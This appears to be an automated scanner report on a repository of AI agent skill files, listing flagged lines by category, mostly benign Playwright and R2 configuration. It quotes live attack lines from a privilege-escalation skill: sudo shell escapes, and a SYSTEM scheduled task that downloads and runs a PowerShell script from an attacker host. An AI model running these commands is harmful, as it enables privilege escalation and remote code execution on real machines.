await page.route("**/api/notifications", async (route) => { const response = await route.fetch() const body = await response.json() - Network accessline 190
const response = await route.fetch() - Network accessline 217
test("show warning when inventory is low", async ({ page }) => { await page.route("**/api/products/*", async (route) => { const response = await route.fetch() - Network accessline 218
await page.route("**/api/products/*", async (route) => { const response = await route.fetch() const body = await response.json() - Network accessline 219
const response = await route.fetch() - Network accessline 236
test("inject additional items into a real API response", async ({ page }) => { await page.route("**/api/notifications", async (route) => { const response = await route.fetch() - Network accessline 237
await page.route("**/api/notifications", async (route) => { const response = await route.fetch() const body = await response.json() - Network accessline 238
const response = await route.fetch() - Network accessline 400
export default defineConfig({ use: { baseURL: process.env.CI ? "https://staging.yourapp.com" : "http://localhost:3000", - Network accessline 401
use: { baseURL: process.env.CI ? "https://staging.yourapp.com" : "http://localhost:3000", }, - Network accessline 402
baseURL: process.env.CI ? "https://staging.yourapp.com" : "http://localhost:3000", - Network accessline 406
name: "integration", testMatch: "**/*.integration.spec.ts", use: { baseURL: "https://staging.yourapp.com" }, - Network accessline 407
testMatch: "**/*.integration.spec.ts", use: { baseURL: "https://staging.yourapp.com" }, }, - Network accessline 408
use: { baseURL: "https://staging.yourapp.com" }, - Network accessline 411
name: "e2e", testMatch: "**/*.e2e.spec.ts", use: { baseURL: "http://localhost:3000" }, - Network accessline 412
testMatch: "**/*.e2e.spec.ts", use: { baseURL: "http://localhost:3000" }, }, - Network accessline 413
use: { baseURL: "http://localhost:3000" }, - Network accessline 425
module.exports = defineConfig({ use: { baseURL: process.env.CI ? "https://staging.yourapp.com" : "http://localhost:3000", - Network accessline 426
use: { baseURL: process.env.CI ? "https://staging.yourapp.com" : "http://localhost:3000", }, - Network accessline 427
baseURL: process.env.CI ? "https://staging.yourapp.com" : "http://localhost:3000", - Network accessline 431
name: "integration", testMatch: "**/*.integration.spec.js", use: { baseURL: "https://staging.yourapp.com" }, - Network accessline 432
testMatch: "**/*.integration.spec.js", use: { baseURL: "https://staging.yourapp.com" }, }, - Network accessline 433
use: { baseURL: "https://staging.yourapp.com" }, - Network accessline 436
name: "e2e", testMatch: "**/*.e2e.spec.js", use: { baseURL: "http://localhost:3000" }, - Network accessline 437
testMatch: "**/*.e2e.spec.js", use: { baseURL: "http://localhost:3000" }, }, - Network accessline 438
use: { baseURL: "http://localhost:3000" }, - Network accessline 455
webServer: { command: "npm run dev", url: "http://localhost:3000", - Network accessline 456
command: "npm run dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, // start fresh in CI, reuse locally - Network accessline 457
url: "http://localhost:3000", - Network accessline 460
}, use: { baseURL: "http://localhost:3000", - Network accessline 461
use: { baseURL: "http://localhost:3000", }, - Network accessline 462
baseURL: "http://localhost:3000", - Network accessline 474
webServer: { command: "npm run dev", url: "http://localhost:3000", - Network accessline 475
command: "npm run dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 476
url: "http://localhost:3000", - Network accessline 479
}, use: { baseURL: "http://localhost:3000", - Network accessline 480
use: { baseURL: "http://localhost:3000", }, - Network accessline 481
baseURL: "http://localhost:3000", - Network accessline 497
webServer: { command: "docker compose -f docker-compose.test.yml up --wait", url: "http://localhost:3000/health", - Network accessline 498
command: "docker compose -f docker-compose.test.yml up --wait", url: "http://localhost:3000/health", reuseExistingServer: !process.env.CI, - Network accessline 499
url: "http://localhost:3000/health", - Network accessline 502
}, use: { baseURL: "http://localhost:3000", - Network accessline 503
use: { baseURL: "http://localhost:3000", }, - Network accessline 504
baseURL: "http://localhost:3000", - Network accessline 529
webServer: { command: "docker compose -f docker-compose.test.yml up --wait", url: "http://localhost:3000/health", - Network accessline 530
command: "docker compose -f docker-compose.test.yml up --wait", url: "http://localhost:3000/health", reuseExistingServer: !process.env.CI, - Network accessline 531
url: "http://localhost:3000/health", - Network accessline 534
}, use: { baseURL: "http://localhost:3000", - Network accessline 535
use: { baseURL: "http://localhost:3000", }, - Network accessline 536
baseURL: "http://localhost:3000", - Network accessline 716
testMatch: "**/*.spec.ts", use: { baseURL: "http://localhost:3000", - Network accessline 717
use: { baseURL: "http://localhost:3000", // All external services mocked via fixtures - Network accessline 718
baseURL: "http://localhost:3000", - Network accessline 724
testMatch: "**/*.integration.spec.ts", use: { baseURL: "https://staging.yourapp.com", - Network accessline 725
use: { baseURL: "https://staging.yourapp.com", // Real services, longer timeouts - Network accessline 726
baseURL: "https://staging.yourapp.com", - Network accessline 745
testMatch: "**/*.spec.js", use: { baseURL: "http://localhost:3000", - Network accessline 746
use: { baseURL: "http://localhost:3000", }, - Network accessline 747
baseURL: "http://localhost:3000", - Network accessline 752
testMatch: "**/*.integration.spec.js", use: { baseURL: "https://staging.yourapp.com", - Network accessline 753
use: { baseURL: "https://staging.yourapp.com", }, - Network accessline 754
baseURL: "https://staging.yourapp.com",
skills/playwright/migration/from-cypress.md
- Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted] - Network accessline 783
use: { baseURL: "http://localhost:3000", // Matches Cypress baseUrl - Network accessline 784
baseURL: "http://localhost:3000", // Matches Cypress baseUrl - Network accessline 797
webServer: { command: "npm run dev", url: "http://localhost:3000", - Network accessline 798
command: "npm run dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 799
url: "http://localhost:3000", - Network accessline 819
use: { baseURL: "http://localhost:3000", - Network accessline 820
baseURL: "http://localhost:3000", - Network accessline 831
webServer: { command: "npm run dev", url: "http://localhost:3000", - Network accessline 832
command: "npm run dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 833
url: "http://localhost:3000", - Dangerous shell operationline 914
rm -rf cypress/ - Dangerous shell operationline 915
rm cypress.config.js # or .ts - Network accessline 1188
npx playwright codegen http://localhost:3000
skills/playwright/migration/from-selenium.md
- Network accessline 178
@Test void userCanLogIn() { driver.get("https://myapp.com/login"); - Network accessline 180
driver.get("https://myapp.com/login"); - Network accessline 254
@Test void searchReturnsResults() { driver.get("https://myapp.com/products"); - Network accessline 256
driver.get("https://myapp.com/products"); - Network accessline 326
@Test void fillPaymentFormInIframe() { driver.get("https://myapp.com/checkout"); - Network accessline 328
driver.get("https://myapp.com/checkout"); - Network accessline 408
@Test void handlePopupWindow() { driver.get("https://myapp.com/settings"); - Network accessline 410
driver.get("https://myapp.com/settings"); - Network accessline 493
@Test void dragAndDropTask() { driver.get("https://myapp.com/kanban"); - Network accessline 495
driver.get("https://myapp.com/kanban"); - Network accessline 586
testDir: "./tests-playwright", // separate from Selenium tests use: { baseURL: "https://staging.myapp.com", - Network accessline 587
use: { baseURL: "https://staging.myapp.com", trace: "on-first-retry", - Network accessline 588
baseURL: "https://staging.myapp.com", - Network accessline 602
testDir: "./tests-playwright", use: { baseURL: "https://staging.myapp.com", - Network accessline 603
use: { baseURL: "https://staging.myapp.com", trace: "on-first-retry", - Network accessline 604
baseURL: "https://staging.myapp.com", - Access to secretsline 854
[Credential-related source omitted] - Network accessline 954
npx playwright codegen https://myapp.com
skills/playwright/playwright-cli/SKILL.md
- Network accessline 18
# Open a browser and navigate playwright-cli open https://playwright.dev - Network accessline 19
playwright-cli open https://playwright.dev - Dangerous shell operationline 68
playwright-cli eval "document.title" # Evaluate JS expression - Dangerous shell operationline 69
playwright-cli eval "el => el.textContent" <ref> # Evaluate on element
skills/playwright/playwright-cli/advanced-workflows.md
- Network accessline 11
const data = []; for (let i = 1; i <= 5; i++) { await page.goto(\`https://example.com/page/\${i}\`); - Network accessline 12
for (let i = 1; i <= 5; i++) { await page.goto(\`https://example.com/page/\${i}\`); const items = await page.locator('.item').allTextContents(); - Network accessline 13
await page.goto(\`https://example.com/page/\${i}\`); - Network accessline 78
playwright-cli run-code "async page => { await page.goto('https://app.example.com/login'); - Network accessline 79
await page.goto('https://app.example.com/login'); - Network accessline 106
playwright-cli run-code "async page => { await page.goto('https://example.com/products'); - Network accessline 107
await page.goto('https://example.com/products'); - Network accessline 138
playwright-cli run-code "async page => { await page.goto('https://example.com/feed'); - Network accessline 139
await page.goto('https://example.com/feed'); - Network accessline 180
playwright-cli -s=site1 open https://news.example.com & - Network accessline 181
playwright-cli -s=site2 open https://blog.example.com & - Network accessline 182
playwright-cli -s=site3 open https://docs.example.com & - Network accessline 405
# Step 1: Personal Info playwright-cli open https://example.com/apply - Network accessline 406
playwright-cli open https://example.com/apply - Network accessline 440
playwright-cli run-code "async page => { await page.goto('https://example.com/registration'); - Network accessline 441
await page.goto('https://example.com/registration'); - Network accessline 470
playwright-cli run-code "async page => { await page.goto('https://example.com/reports'); - Network accessline 471
await page.goto('https://example.com/reports'); - Network accessline 519
playwright-cli run-code "async page => { await page.goto('https://example.com'); - Network accessline 520
await page.goto('https://example.com'); - Network accessline 543
for (let attempt = 1; attempt <= maxRetries; attempt++) { try { await page.goto('https://flaky-site.example.com', { timeout: 15000 }); - Network accessline 544
try { await page.goto('https://flaky-site.example.com', { timeout: 15000 }); await page.waitForSelector('.content', { timeout: 5000 }); - Network accessline 545
await page.goto('https://flaky-site.example.com', { timeout: 15000 }); - Network accessline 607
# 1. Start fresh session playwright-cli open https://app.example.com --persistent - Network accessline 608
playwright-cli open https://app.example.com --persistent - Network accessline 620
# 4. Log in playwright-cli goto https://app.example.com/login - Network accessline 621
playwright-cli goto https://app.example.com/login - Network accessline 652
STAGING="https://staging.example.com" - Network accessline 653
PROD="https://www.example.com"
skills/playwright/playwright-cli/core-commands.md
- Network accessline 9
playwright-cli open https://example.com # Launch + navigate - Network accessline 22
playwright-cli open https://example.com/login - Network accessline 65
# Open and navigate immediately playwright-cli open https://example.com - Network accessline 66
playwright-cli open https://example.com - Network accessline 80
# Auto-generated profile directory playwright-cli open https://example.com --persistent - Network accessline 81
playwright-cli open https://example.com --persistent - Network accessline 83
# Custom profile directory playwright-cli open https://example.com --profile=/tmp/my-profile - Network accessline 84
playwright-cli open https://example.com --profile=/tmp/my-profile - Network accessline 86
# With a config file playwright-cli open https://example.com --config=my-config.json - Network accessline 87
playwright-cli open https://example.com --config=my-config.json - Network accessline 110
playwright-cli goto https://example.com/dashboard # Navigate to URL - Network accessline 249
playwright-cli open https://example.com/canvas-app - Dangerous shell operationline 287
playwright-cli eval "document.title" - Dangerous shell operationline 288
playwright-cli eval "window.location.href" - Dangerous shell operationline 289
playwright-cli eval "document.querySelectorAll('li').length" - Dangerous shell operationline 292
playwright-cli eval "el => el.textContent" e5 - Dangerous shell operationline 293
playwright-cli eval "el => el.getAttribute('href')" e3 - Dangerous shell operationline 294
playwright-cli eval "el => el.getBoundingClientRect()" e1 - Dangerous shell operationline 297
playwright-cli eval "JSON.stringify(performance.timing)" - Dangerous shell operationline 298
playwright-cli eval "window.innerWidth + 'x' + window.innerHeight" - Network accessline 306
playwright-cli open https://app.example.com/login - Network accessline 320
playwright-cli open https://example.com/contact - Network accessline 340
playwright-cli open https://example.com - Network accessline 356
playwright-cli open https://docs.example.com - Network accessline 357
playwright-cli tab-new https://api.example.com/reference - Network accessline 358
playwright-cli tab-new https://github.com/example/repo
skills/playwright/playwright-cli/device-emulation.md
- Network accessline 9
# Device emulation via config playwright-cli open https://example.com --config=iphone.json - Network accessline 10
playwright-cli open https://example.com --config=iphone.json - Network accessline 102
playwright-cli open https://example.com --config=iphone14.json - Network accessline 195
playwright-cli goto https://example.com/nearby-stores - Network accessline 229
playwright-cli open https://example.com --config=geo-nyc.json - Network accessline 257
playwright-cli open https://example.com --config=locale-de.json - Network accessline 362
playwright-cli run-code "async page => { await page.context().grantPermissions(['notifications'], { origin: 'https://example.com' - Network accessline 363
await page.context().grantPermissions(['notifications'], { origin: 'https://example.com' }); - Network accessline 364
origin: 'https://example.com' - Network accessline 422
#!/bin/bash URL="https://example.com" - Network accessline 423
URL="https://example.com" - Network accessline 455
playwright-cli open https://example.com
skills/playwright/playwright-cli/request-mocking.md
- Network accessline 35
| Pattern | Matches | Example URLs | | ---------------------------- | --------------------------------- | ----------------------------------------- | | `**/api/user - Network accessline 36
| ---------------------------- | --------------------------------- | ----------------------------------------- | | `**/api/users` | Exact path on any origin | `https://api.example.com/api/users` | | `**/api/*/de - Network accessline 37
| `**/api/users` | Exact path on any origin | `https://api.example.com/api/users` | - Network accessline 38
| `**/api/*/details` | Wildcard in path segment | `https://api.example.com/api/123/details` | - Network accessline 39
| `**/*.{png,jpg,jpeg}` | Multiple file extensions | `https://cdn.example.com/hero.png` | | `**/search?q=*` | Query parameters | `https://example.com/search?q=test` | | `https://api - Network accessline 40
| `**/search?q=*` | Query parameters | `https://example.com/search?q=test` | | `https://api.example.com/**` | All requests to a specific origin | `https://api.example.com/v2/users` | | `**/*` - Network accessline 41
| `https://api.example.com/**` | All requests to a specific origin | `https://api.example.com/v2/users` | - Network accessline 169
playwright-cli run-code "async page => { await page.route('**/api/user/profile', async route => { const response = await route.fetch(); - Network accessline 170
await page.route('**/api/user/profile', async route => { const response = await route.fetch(); const json = await response.json(); - Network accessline 171
const response = await route.fetch(); - Network accessline 186
playwright-cli run-code "async page => { await page.route('**/api/**', async route => { const response = await route.fetch(); - Network accessline 187
await page.route('**/api/**', async route => { const response = await route.fetch(); const headers = { ...response.headers(), 'x-mock': 'true' }; - Network accessline 188
const response = await route.fetch(); - Network accessline 337
url: '**/api/**' }); await page.goto('https://example.com'); - Network accessline 338
}); await page.goto('https://example.com'); // Interact with the page — all matching requests are recorded - Network accessline 339
await page.goto('https://example.com'); // Interact with the page — all matching requests are recorded }" - Network accessline 346
url: '**/api/**' }); await page.goto('https://example.com'); - Network accessline 347
}); await page.goto('https://example.com'); // API responses come from the HAR file - Network accessline 348
await page.goto('https://example.com'); - Network accessline 369
- **Order matters**: Routes are evaluated in the order they were added. More specific patterns should be added before catch-all patterns. - **`route.continue()`**: Lets the request proceed to the real server — use this in conditional routes - Network accessline 370
- **`route.continue()`**: Lets the request proceed to the real server — use this in conditional routes for the "pass-through" case. - **`route.fetch()`**: Makes the real request and returns the response, so you can inspect or modify it befo - Network accessline 371
- **`route.fetch()`**: Makes the real request and returns the response, so you can inspect or modify it before fulfilling.
skills/playwright/playwright-cli/running-custom-code.md
- Network accessline 74
playwright-cli run-code "async page => { await page.context().grantPermissions(['clipboard-read', 'clipboard-write'], { origin: 'https://example.com' - Network accessline 75
await page.context().grantPermissions(['clipboard-read', 'clipboard-write'], { origin: 'https://example.com' }); - Network accessline 76
origin: 'https://example.com' - Network accessline 463
playwright-cli run-code "async page => { await page.goto('https://example.com/login'); - Network accessline 464
await page.goto('https://example.com/login'); - Network accessline 478
const results = []; for (let i = 1; i <= 5; i++) { await page.goto(\`https://example.com/products?page=\${i}\`); - Network accessline 479
for (let i = 1; i <= 5; i++) { await page.goto(\`https://example.com/products?page=\${i}\`); await page.waitForSelector('.product-card'); - Network accessline 480
await page.goto(\`https://example.com/products?page=\${i}\`); - Network accessline 525
playwright-cli run-code "async page => { await page.goto('https://example.com/feed'); - Network accessline 526
await page.goto('https://example.com/feed'); - Access to secretsline 550
[Credential-related source omitted]
skills/playwright/playwright-cli/screenshots-and-media.md
- Network accessline 263
# Perform actions (everything is recorded) playwright-cli open https://example.com - Network accessline 264
playwright-cli open https://example.com - Network accessline 335
playwright-cli open https://app.example.com - Network accessline 348
# Navigate to settings playwright-cli goto https://app.example.com/settings - Network accessline 349
playwright-cli goto https://app.example.com/settings - Network accessline 352
# Generate PDF of documentation page playwright-cli goto https://app.example.com/docs - Network accessline 353
playwright-cli goto https://app.example.com/docs - Network accessline 360
playwright-cli open https://example.com - Network accessline 374
#!/bin/bash URL="https://example.com" - Network accessline 375
URL="https://example.com"
skills/playwright/playwright-cli/session-management.md
- Network accessline 9
# Named sessions: each has independent cookies, storage, tabs playwright-cli -s=auth open https://app.example.com/login - Network accessline 10
playwright-cli -s=auth open https://app.example.com/login - Network accessline 11
playwright-cli -s=public open https://example.com - Network accessline 40
# Create a session for authentication testing playwright-cli -s=admin open https://app.example.com/login - Network accessline 41
playwright-cli -s=admin open https://app.example.com/login - Network accessline 43
# Create a separate session for a different user playwright-cli -s=viewer open https://app.example.com/login - Network accessline 44
playwright-cli -s=viewer open https://app.example.com/login - Network accessline 61
# These all use the same default session playwright-cli open https://example.com - Network accessline 62
playwright-cli open https://example.com - Network accessline 73
# Session A logs in as admin playwright-cli -s=admin open https://app.example.com - Network accessline 74
playwright-cli -s=admin open https://app.example.com - Network accessline 79
# Session B visits the same site — NOT logged in playwright-cli -s=guest open https://app.example.com - Network accessline 80
playwright-cli -s=guest open https://app.example.com - Network accessline 84
# Session C can use a completely different browser playwright-cli -s=firefox-test open https://app.example.com --browser=firefox - Network accessline 85
playwright-cli -s=firefox-test open https://app.example.com --browser=firefox - Network accessline 120
# Playwright-cli manages the profile directory automatically playwright-cli -s=myapp open https://example.com --persistent - Network accessline 121
playwright-cli -s=myapp open https://example.com --persistent - Network accessline 123
# Close and reopen — cookies and storage are preserved playwright-cli -s=myapp close playwright-cli -s=myapp open https://example.com --persistent - Network accessline 124
playwright-cli -s=myapp close playwright-cli -s=myapp open https://example.com --persistent # Still logged in! - Network accessline 125
playwright-cli -s=myapp open https://example.com --persistent - Network accessline 132
# Specify exactly where to store profile data playwright-cli -s=myapp open https://example.com --profile=/tmp/my-browser-profile - Network accessline 133
playwright-cli -s=myapp open https://example.com --profile=/tmp/my-browser-profile - Network accessline 135
# Useful for sharing profiles between sessions playwright-cli -s=session-a open https://example.com --profile=/shared/profile - Network accessline 136
playwright-cli -s=session-a open https://example.com --profile=/shared/profile - Network accessline 138
playwright-cli -s=session-b open https://example.com --profile=/shared/profile - Network accessline 154
# Different browsers for different sessions playwright-cli -s=chrome-test open https://example.com --browser=chrome - Network accessline 155
playwright-cli -s=chrome-test open https://example.com --browser=chrome - Network accessline 156
playwright-cli -s=firefox-test open https://example.com --browser=firefox - Network accessline 157
playwright-cli -s=webkit-test open https://example.com --browser=webkit - Network accessline 158
playwright-cli -s=edge-test open https://example.com --browser=msedge - Network accessline 160
# With config file playwright-cli -s=configured open https://example.com --config=my-config.json - Network accessline 161
playwright-cli -s=configured open https://example.com --config=my-config.json - Network accessline 163
# Headed mode (visible browser window) playwright-cli -s=visible open https://example.com --headed - Network accessline 164
playwright-cli -s=visible open https://example.com --headed - Network accessline 177
# These now use "mysession" automatically playwright-cli open https://example.com - Network accessline 178
playwright-cli open https://example.com - Network accessline 190
# Admin session playwright-cli -s=admin open https://app.example.com/login - Network accessline 191
playwright-cli -s=admin open https://app.example.com/login - Network accessline 197
# Regular user session playwright-cli -s=user open https://app.example.com/login - Network accessline 198
playwright-cli -s=user open https://app.example.com/login - Network accessline 218
# Launch all browsers concurrently playwright-cli -s=site1 open https://site1.example.com & - Network accessline 219
playwright-cli -s=site1 open https://site1.example.com & - Network accessline 220
playwright-cli -s=site2 open https://site2.example.com & - Network accessline 221
playwright-cli -s=site3 open https://site3.example.com & - Network accessline 241
# Variant A playwright-cli -s=variant-a open "https://app.example.com?variant=a" - Network accessline 242
playwright-cli -s=variant-a open "https://app.example.com?variant=a" - Network accessline 245
# Variant B playwright-cli -s=variant-b open "https://app.example.com?variant=b" - Network accessline 246
playwright-cli -s=variant-b open "https://app.example.com?variant=b" - Network accessline 260
for browser in chrome firefox webkit; do playwright-cli -s=$browser open https://example.com --browser=$browser - Network accessline 261
playwright-cli -s=$browser open https://example.com --browser=$browser - Network accessline 265
playwright-cli -s=$browser goto https://example.com/features - Network accessline 275
# Log in once and save state playwright-cli -s=login open https://app.example.com/login - Network accessline 276
playwright-cli -s=login open https://app.example.com/login - Network accessline 283
# Reuse auth state in multiple sessions playwright-cli -s=session-a open https://app.example.com - Network accessline 284
playwright-cli -s=session-a open https://app.example.com - Network accessline 286
playwright-cli -s=session-a goto https://app.example.com/dashboard - Network accessline 288
playwright-cli -s=session-b open https://app.example.com - Network accessline 290
playwright-cli -s=session-b goto https://app.example.com/settings - Network accessline 298
# Good: Clear purpose playwright-cli -s=github-auth open https://github.com - Network accessline 299
playwright-cli -s=github-auth open https://github.com - Network accessline 300
playwright-cli -s=docs-scrape open https://docs.example.com - Network accessline 301
playwright-cli -s=checkout-flow open https://shop.example.com - Network accessline 303
# Avoid: Generic names playwright-cli -s=s1 open https://github.com - Network accessline 304
playwright-cli -s=s1 open https://github.com - Network accessline 305
playwright-cli -s=test open https://docs.example.com - Network accessline 334
# Simple single-session workflow — no -s flag needed playwright-cli open https://example.com - Network accessline 335
playwright-cli open https://example.com - Network accessline 346
playwright-cli -s=long-task open https://app.example.com --persistent
skills/playwright/playwright-cli/storage-and-auth.md
- Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Network accessline 53
# Navigate after loading — cookies and localStorage are already set playwright-cli goto https://app.example.com/dashboard - Network accessline 54
playwright-cli goto https://app.example.com/dashboard - Network accessline 76
"origins": [ { "origin": "https://example.com", - Network accessline 77
{ "origin": "https://example.com", "localStorage": [ - Network accessline 78
"origin": "https://example.com", - Access to secretsline 82
[Credential-related source omitted] - Network accessline 96
playwright-cli open https://app.example.com/login - Network accessline 117
# New session — skip login entirely playwright-cli open https://app.example.com - Network accessline 118
playwright-cli open https://app.example.com - Network accessline 119
playwright-cli state-load auth.json playwright-cli goto https://app.example.com/dashboard # Already logged in as admin! - Network accessline 120
playwright-cli goto https://app.example.com/dashboard - Network accessline 129
# Save state for each role playwright-cli open https://app.example.com/login - Network accessline 130
playwright-cli open https://app.example.com/login - Network accessline 137
playwright-cli open https://app.example.com/login - Network accessline 144
# Now use them playwright-cli -s=admin open https://app.example.com - Network accessline 145
playwright-cli -s=admin open https://app.example.com - Network accessline 147
playwright-cli -s=admin goto https://app.example.com/admin - Network accessline 149
playwright-cli -s=user open https://app.example.com - Network accessline 151
playwright-cli -s=user goto https://app.example.com/profile - Network accessline 159
playwright-cli run-code "async page => { await page.goto('https://app.example.com/login'); - Network accessline 160
await page.goto('https://app.example.com/login'); - Access to secretsline 300
[Credential-related source omitted] - Access to secretsline 316
[Credential-related source omitted] - Access to secretsline 431
[Credential-related source omitted] - Network accessline 434
# Navigate to trigger token refresh playwright-cli goto https://app.example.com/dashboard - Network accessline 435
playwright-cli goto https://app.example.com/dashboard - Access to secretsline 438
[Credential-related source omitted] - Network accessline 464
# Set up state manually playwright-cli open https://example.com - Network accessline 465
playwright-cli open https://example.com - Network accessline 473
# Later — restore state in a new session playwright-cli open https://example.com - Network accessline 474
playwright-cli open https://example.com - Dangerous shell operationline 483
- **Delete state files after use** — `rm auth.json` when done with automation
skills/playwright/playwright-cli/test-generation.md
- Network accessline 9
# Every CLI action outputs the equivalent Playwright code playwright-cli open https://example.com/login - Network accessline 10
playwright-cli open https://example.com/login - Network accessline 38
playwright-cli open https://example.com/login - Network accessline 40
# await page.goto('https://example.com/login'); - Network accessline 69
test("user can log in", async ({ page }) => { await page.goto("https://example.com/login") - Network accessline 70
await page.goto("https://example.com/login") - Network accessline 84
test("user can log in", async ({ page }) => { await page.goto("https://example.com/login") - Network accessline 85
await page.goto("https://example.com/login") - Network accessline 114
playwright-cli open https://shop.example.com - Network accessline 146
playwright-cli open https://example.com/onboarding - Network accessline 168
playwright-cli open https://example.com - Network accessline 190
// URL changed after navigation await expect(page).toHaveURL(/.*dashboard/) await expect(page).toHaveURL("https://example.com/success") - Network accessline 192
await expect(page).toHaveURL("https://example.com/success") - Network accessline 219
test("complete checkout flow", async ({ page }) => { await page.goto("https://shop.example.com/products") - Network accessline 220
await page.goto("https://shop.example.com/products") - Network accessline 256
playwright-cli open https://example.com
skills/playwright/playwright-cli/tracing-and-debugging.md
- Network accessline 9
# Trace a session playwright-cli tracing-start playwright-cli open https://example.com - Network accessline 10
playwright-cli tracing-start playwright-cli open https://example.com playwright-cli click e4 - Network accessline 11
playwright-cli open https://example.com - Network accessline 35
# Perform actions playwright-cli open https://example.com - Network accessline 36
playwright-cli open https://example.com - Network accessline 89
# Or use the online Trace Viewer # Upload trace file to: https://trace.playwright.dev - Network accessline 90
# Upload trace file to: https://trace.playwright.dev - Network accessline 119
playwright-cli open https://app.example.com - Network accessline 225
# Reproduce the issue playwright-cli goto https://app.example.com/checkout - Network accessline 226
playwright-cli goto https://app.example.com/checkout - Dangerous shell operationline 240
playwright-cli eval "el => window.getComputedStyle(el).display" e5 - Dangerous shell operationline 241
playwright-cli eval "el => window.getComputedStyle(el).visibility" e5 - Dangerous shell operationline 242
playwright-cli eval "el => el.getBoundingClientRect()" e5 - Dangerous shell operationline 245
playwright-cli eval "el => { - Dangerous shell operationline 252
playwright-cli eval "el => el.disabled" e5 - Dangerous shell operationline 253
playwright-cli eval "el => el.getAttribute('aria-disabled')" e5 - Network accessline 385
playwright-cli tracing-start # Reproduce the full flow from the beginning playwright-cli open https://app.example.com - Network accessline 386
# Reproduce the full flow from the beginning playwright-cli open https://app.example.com playwright-cli fill e1 "user@example.com" - Network accessline 387
playwright-cli open https://app.example.com - Dangerous shell operationline 411
find .playwright-cli/traces -mtime +7 -delete
skills/playwright/pom/pom-vs-fixtures-vs-helpers.md
- Network accessline 453
export function buildApiUrl(path: string, params: Record<string, string> = {}): string { const url = new URL(path, "http://localhost:3000") - Network accessline 454
const url = new URL(path, "http://localhost:3000") - Network accessline 529
function buildApiUrl(path, params = {}) { const url = new URL(path, "http://localhost:3000") - Network accessline 530
const url = new URL(path, "http://localhost:3000")
skills/privilege-escalation-methods/SKILL.md
- Dangerous shell operationline 36
#### 1. Abusing Sudo Binaries - Dangerous shell operationline 38
Exploit misconfigured sudo permissions using GTFOBins techniques: - Dangerous shell operationline 41
# Check sudo permissions - Dangerous shell operationline 42
sudo -l - Dangerous shell operationline 45
sudo vim -c ':!/bin/bash' - Dangerous shell operationline 46
sudo find /etc/passwd -exec /bin/bash \; - Dangerous shell operationline 47
sudo awk 'BEGIN {system("/bin/bash")}' - Dangerous shell operationline 48
sudo python -c 'import pty;pty.spawn("/bin/bash")' - Dangerous shell operationline 49
sudo perl -e 'exec "/bin/bash";' - Dangerous shell operationline 50
sudo less /etc/hosts # then type: !bash - Dangerous shell operationline 51
sudo man man # then type: !bash - Dangerous shell operationline 52
sudo env /bin/bash - Network accessline 209
# 3. Create scheduled task schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" ` /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" - Network accessline 210
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" - Network accessline 211
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" - Network accessline 225
# Create malicious shortcut (Book.url) [InternetShortcut] URL=https://facebook.com - Network accessline 226
[InternetShortcut] URL=https://facebook.com IconIndex=0 - Network accessline 227
URL=https://facebook.com - Dangerous shell operationline 253
| Sudo Binary Abuse | Linux | No | GTFOBins | - Dangerous shell operationline 289
### Example 1: Linux Sudo to Root - Dangerous shell operationline 292
# Check sudo permissions - Dangerous shell operationline 293
$ sudo -l - Dangerous shell operationline 298
$ sudo vim -c ':!/bin/bash' - Dangerous shell operationline 319
| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
skills/project-sizing-guide/scripts/estimate_calculator.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/r2-upload/README.md
- Network accessline 54
1. Go to [Cloudflare Dashboard](https://dash.cloudflare.com) → R2 - Network accessline 55
2. Create a bucket 3. Go to R2 API Tokens: `https://dash.cloudflare.com/<ACCOUNT_ID>/r2/api-tokens` 4. Create a new API token - Network accessline 56
3. Go to R2 API Tokens: `https://dash.cloudflare.com/<ACCOUNT_ID>/r2/api-tokens` - Network accessline 71
public_url: https://files.yourdomain.com
skills/r2-upload/SKILL.md
- Network accessline 28
buckets: my-bucket: endpoint: https://abc123.r2.cloudflarestorage.com - Network accessline 29
my-bucket: endpoint: https://abc123.r2.cloudflarestorage.com access_key_id: your_access_key - Network accessline 30
endpoint: https://abc123.r2.cloudflarestorage.com - Network accessline 32
secret_access_key: your_secret_key bucket_name: my-bucket public_url: https://files.example.com # Optional: custom domain - Network accessline 33
bucket_name: my-bucket public_url: https://files.example.com # Optional: custom domain region: auto # For R2, use "auto" - Network accessline 34
public_url: https://files.example.com # Optional: custom domain - Network accessline 37
# Additional buckets personal: endpoint: https://xyz789.r2.cloudflarestorage.com - Network accessline 38
personal: endpoint: https://xyz789.r2.cloudflarestorage.com access_key_id: ... - Network accessline 39
endpoint: https://xyz789.r2.cloudflarestorage.com - Network accessline 48
1. Go to Cloudflare Dashboard → R2 2. Create a bucket 3. Go to R2 API Tokens: `https://dash.cloudflare.com/<ACCOUNT_ID>/r2/api-tokens` - Network accessline 49
2. Create a bucket 3. Go to R2 API Tokens: `https://dash.cloudflare.com/<ACCOUNT_ID>/r2/api-tokens` 4. Create a new API token - Network accessline 50
3. Go to R2 API Tokens: `https://dash.cloudflare.com/<ACCOUNT_ID>/r2/api-tokens` - Network accessline 61
aws-bucket: endpoint: https://s3.us-east-1.amazonaws.com - Network accessline 62
endpoint: https://s3.us-east-1.amazonaws.com
skills/r2-upload/example-config.yml
- Network accessline 9
# Cloudflare R2 example my-files: endpoint: https://YOUR_ACCOUNT_ID.r2.cloudflarestorage.com - Network accessline 10
my-files: endpoint: https://YOUR_ACCOUNT_ID.r2.cloudflarestorage.com access_key_id: YOUR_R2_ACCESS_KEY_ID - Network accessline 11
endpoint: https://YOUR_ACCOUNT_ID.r2.cloudflarestorage.com - Network accessline 14
bucket_name: my-files region: auto public_url: https://files.yourdomain.com # Optional: custom domain - Network accessline 16
public_url: https://files.yourdomain.com # Optional: custom domain - Network accessline 18
